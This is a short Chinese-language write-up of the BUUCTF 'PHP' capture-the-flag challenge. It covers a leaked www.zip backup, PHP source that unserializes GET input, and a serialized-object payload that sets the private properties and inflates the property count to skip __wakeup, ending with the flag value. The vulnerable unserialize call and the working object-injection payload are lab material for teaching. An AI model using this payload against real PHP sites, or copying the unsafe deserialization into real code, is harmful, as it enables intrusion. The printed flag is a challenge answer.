【BUUCTF】PHP

敏感文件泄露
访问 www.zip
解压

class.php中是PHP源码

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        
        }
    }
}
?>

在对象初始化后用户名会被定义为 guest，密码为 yesyes，在销毁对象的时候，如果用户名为 admin密码为 100，则会返回flag

index.php中的源码为：

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

用GET的方式接受 select值并将其反序列化
payload：?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
但是这里有一个问题，反序列化时会自动调用 __wakeup方法，当放序列化时，属性个数大于实际个数时将不调用 __wakeup方法，所以将个数改为3：?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

得到：flag{4062d09a-d74e-4a74-8a4c-2a65760f98f4}